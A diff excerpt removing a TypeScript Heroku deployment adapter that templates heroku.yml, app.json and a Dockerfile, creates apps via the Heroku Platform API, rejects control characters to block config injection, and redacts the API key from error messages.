- * Heroku Platform API and sets the stack to `container`. Live
23
- * calls gated on `HEROKU_API_KEY` (or explicit `apiKey`) + an
24
- * injectable `fetchImpl`.
25
- *
26
- * SECURITY (T8 credential-leak guard): `scrubApiKey()` wraps every
27
- * error path. Mirrors the §37 exporter-datadog approach.
28
- *
29
- * Targets: daemon shapes (channel, managed, batch, voice, browser).
30
- */
31
-
32
- export class HerokuAdapterError extends CrewhausError {
33
- override readonly name = "HerokuAdapterError";
34
- constructor(message: string, cause?: unknown) {
35
- super("config", message, cause);
36
- }
37
- }
38
-
39
- export const HEROKU_TARGET_SHAPES = [
40
- "channel",
41
- "managed",
42
- "batch",
43
- "voice",
44
- "browser",
45
- ] as const satisfies readonly TargetShape[];
46
-
47
- export type HerokuTargetShape = (typeof HEROKU_TARGET_SHAPES)[number];
48
-
49
- export function isHerokuTargetShape(value: unknown): value is HerokuTargetShape {
50
- return typeof value === "string" && (HEROKU_TARGET_SHAPES as readonly string[]).includes(value);
51
- }
52
-
53
- export type HerokuDynoSize = "basic" | "standard-1x" | "standard-2x" | "performance-m";
54
-
55
- const PROCESS_FOR_TARGET: Readonly<Record<HerokuTargetShape, "web" | "worker">> = {
56
- channel: "web",
57
- managed: "web",
58
- voice: "web",
59
- browser: "web",
60
- batch: "worker",
61
- };
62
-
63
- const APP_NAME_PATTERN = /^[a-z][a-z0-9-]{2,28}[a-z0-9]$/;
64
-
65
- // Free-form strings (`dockerfilePath`, `baseImage`) are interpolated verbatim
66
- // into the generated heroku.yml / Dockerfile. A newline or other control
67
- // character would let a caller inject arbitrary YAML sections or Dockerfile
68
- // instructions (e.g. a top-level `release:` block, or a `RUN` directive that
69
- // executes at build time). Legitimate filesystem paths and image references
70
- // never contain control characters, so reject them outright.
71
- // Matches C0 control characters (U+0000–U+001F) and DEL (U+007F).
72
- // eslint-disable-next-line no-control-regex
73
- // biome-ignore lint/suspicious/noControlCharactersInRegex: intentional control-character detection/sanitization
74
- const CONTROL_CHAR_PATTERN = /[\u0000-\u001f\u007f]/;
75
-
76
- function assertHerokuTarget(target: TargetShape): asserts target is HerokuTargetShape {
77
- if (!isHerokuTargetShape(target)) {
78
- throw new HerokuAdapterError(
79
- `target shape "${target}" is not supported by Heroku. Supported daemon shapes: ${HEROKU_TARGET_SHAPES.join(", ")}.`,
80
- );
81
- }
82
- }
83
-
84
- function assertAppName(name: string): void {
85
- if (!APP_NAME_PATTERN.test(name)) {
86
- throw new HerokuAdapterError(
87
- `app name "${name}" is invalid. Must be lowercase letters/digits/hyphens, 4-30 chars, starts with a letter, no trailing hyphen.`,
88
- );
89
- }
90
- }
91
-
92
- function assertNoInjection(label: string, value: string): void {
93
- if (value.length === 0) {
94
- throw new HerokuAdapterError(`${label} must not be empty.`);
95
- }
96
- if (CONTROL_CHAR_PATTERN.test(value)) {
97
- throw new HerokuAdapterError(`${label} must not contain newlines or control characters.`);
98
- }
99
- }
100
-
101
- export type HerokuYmlOptions = {
102
- readonly target: TargetShape;
103
- readonly dockerfilePath?: string;
104
- };
105
-
106
- /**
107
- * Heroku.yml is YAML but small + deterministic enough to template
108
- * inline. Three top-level sections: build, run, release (release omitted
109
- * for now — no DB migrations in the shipped scope).
110
- */
111
- export function herokuYmlFor(opts: HerokuYmlOptions): string {
112
- if (!isTargetShape(opts.target)) {
113
- throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
114
- }
115
- assertHerokuTarget(opts.target);
116
- const dockerfilePath = opts.dockerfilePath ?? "Dockerfile.heroku";
117
- assertNoInjection("dockerfilePath", dockerfilePath);
118
- const processName = PROCESS_FOR_TARGET[opts.target];
119
- const lines = [
120
- "# Generated by @crewhaus/cloud-adapter-heroku — do not edit by hand",
121
- "build:",
122
- " docker:",
123
- ` ${processName}: ${dockerfilePath}`,
124
- "run:",
125
- ` ${processName}: bun run start`,
126
- ];
127
- return `${lines.join("\n")}\n`;
128
- }
129
-
130
- export type AppJsonOptions = {
131
- readonly target: TargetShape;
132
- readonly name: string;
133
- readonly description?: string;
134
- readonly envVars?: Readonly<Record<string, { value?: string; required?: boolean }>>;
135
- readonly dynoSize?: HerokuDynoSize;
136
- readonly quantity?: number;
137
- };
138
-
139
- /**
140
- * `app.json` Heroku Setup manifest. Deterministic key order, sorted
141
- * env-var keys.
142
- */
143
- export function appJsonFor(opts: AppJsonOptions): string {
144
- if (!isTargetShape(opts.target)) {
145
- throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
146
- }
147
- assertHerokuTarget(opts.target);
148
- assertAppName(opts.name);
149
- const processName = PROCESS_FOR_TARGET[opts.target];
150
- const formation = {
151
- [processName]: {
152
- quantity: opts.quantity ?? 1,
153
- size: opts.dynoSize ?? "basic",
154
- },
155
- };
156
- const env: Record<string, { value?: string; required?: boolean }> = {};
157
- if (opts.envVars) {
158
- for (const key of Object.keys(opts.envVars).sort()) {
159
- const value = opts.envVars[key];
160
- if (value === undefined) continue;
161
- env[key] = value;
162
- }
163
- }
164
- const manifest: Record<string, unknown> = {
165
- name: opts.name,
166
- stack: "container",
167
- formation,
168
- };
169
- if (opts.description !== undefined) {
170
- manifest["description"] = opts.description;
171
- }
172
- if (Object.keys(env).length > 0) {
173
- manifest["env"] = env;
174
- }
175
- return `${JSON.stringify(manifest, null, 2)}\n`;
176
- }
177
-
178
- export type HerokuDockerfileOptions = {
179
- readonly target: TargetShape;
180
- readonly baseImage: string;
181
- };
182
-
183
- export function herokuDockerfileFor(opts: HerokuDockerfileOptions): string {
184
- if (!isTargetShape(opts.target)) {
185
- throw new HerokuAdapterError(`unknown target shape "${opts.target}"`);
186
- }
187
- assertHerokuTarget(opts.target);
188
- assertNoInjection("baseImage", opts.baseImage);
189
- // Heroku injects $PORT at runtime; container must bind to it. No EXPOSE.
190
- const lines = [
191
- `# Heroku-tuned wrapper around ${opts.baseImage}`,
192
- `FROM ${opts.baseImage}`,
193
- "ENV PORT=${PORT:-8080}",
194
- ];
195
- return `${lines.join("\n")}\n`;
196
- }
197
-
198
- export type HerokuDeployRecord = {
199
- readonly appId: string;
200
- readonly appName: string;
201
- readonly webUrl: string;
202
- };
203
-
204
- export type DeployToHerokuOptions = {
205
- readonly appName: string;
206
- readonly region?: "us" | "eu";
207
- readonly apiKey?: string;
208
- readonly apiBaseUrl?: string;
209
- readonly fetchImpl?: typeof fetch;
210
- };
211
-
212
- export const HEROKU_DEFAULT_API_BASE = "https://api.heroku.com";
213
-
214
- function resolveApiKey(provided: string | undefined): string {
215
- const key = provided ?? process.env["HEROKU_API_KEY"];
216
- if (key === undefined || key.length === 0) {
217
- throw new HerokuAdapterError(
218
- "HEROKU_API_KEY is required. Pass `apiKey` explicitly or set the env var.",
219
- );
220
- }
221
- return key;
222
- }
223
-
224
- export function scrubApiKey(message: string, apiKey: string | undefined): string {
225
- if (apiKey === undefined || apiKey.length < 8) return message;
226
- return message.split(apiKey).join("[REDACTED:HEROKU_API_KEY]");
227
- }
228
-
229
- /**
230
- * Create an app via Heroku Platform API. Stack is pinned to `container`
231
- * so the heroku.yml + Dockerfile build path is used. All errors run
232
- * through `scrubApiKey()`.
233
- */
234
- export async function deployToHeroku(opts: DeployToHerokuOptions): Promise<HerokuDeployRecord> {
235
- assertAppName(opts.appName);
236
- const apiKey = resolveApiKey(opts.apiKey);
237
- const baseUrl = opts.apiBaseUrl ?? HEROKU_DEFAULT_API_BASE;
238
- const fetchFn = opts.fetchImpl ?? fetch;
239
- const region = opts.region ?? "us";
240
-
241
- let response: Response;
242
- try {
243
- response = await fetchFn(`${baseUrl}/apps`, {
244
- method: "POST",
245
- headers: {
246
- Authorization: `Bearer ${apiKey}`,
247
- Accept: "application/vnd.heroku+json; version=3",
248
- "Content-Type": "application/json",
249
- },
250
- body: JSON.stringify({ name: opts.appName, stack: "container", region }),
251
- });
252
- } catch (err) {
253
- const msg = err instanceof Error ? err.message : String(err);
254
- throw new HerokuAdapterError(
255
- `Heroku Platform API request failed: ${scrubApiKey(msg, apiKey)}`,
256
- err,
257
- );
258
- }
259
- const text = await response.text();
260
- const scrubbed = scrubApiKey(text, apiKey);
261
- if (!response.ok) {
262
- throw new HerokuAdapterError(
263
- `Heroku Platform API returned ${response.status} ${response.statusText}: ${scrubbed}`,
264
- );
265
- }
266
- let parsed: { id?: string; name?: string; web_url?: string };
267
- try {
268
- parsed = JSON.parse(text);
269
- } catch (err) {
270
- throw new HerokuAdapterError(`Heroku Platform API returned non-JSON body: ${scrubbed}`, err);
271
- }
272
- if (typeof parsed.id !== "string" || typeof parsed.name !== "string") {
273
- throw new HerokuAdapterError(`Heroku Platform API response missing id/name: ${scrubbed}`);
274
- }
275
- return {
276
- appId: parsed.id,
277
- appName: parsed.name,
278
- webUrl: parsed.web_url ?? `https://${parsed.name}.herokuapp.com/`,
279
- };
280
- }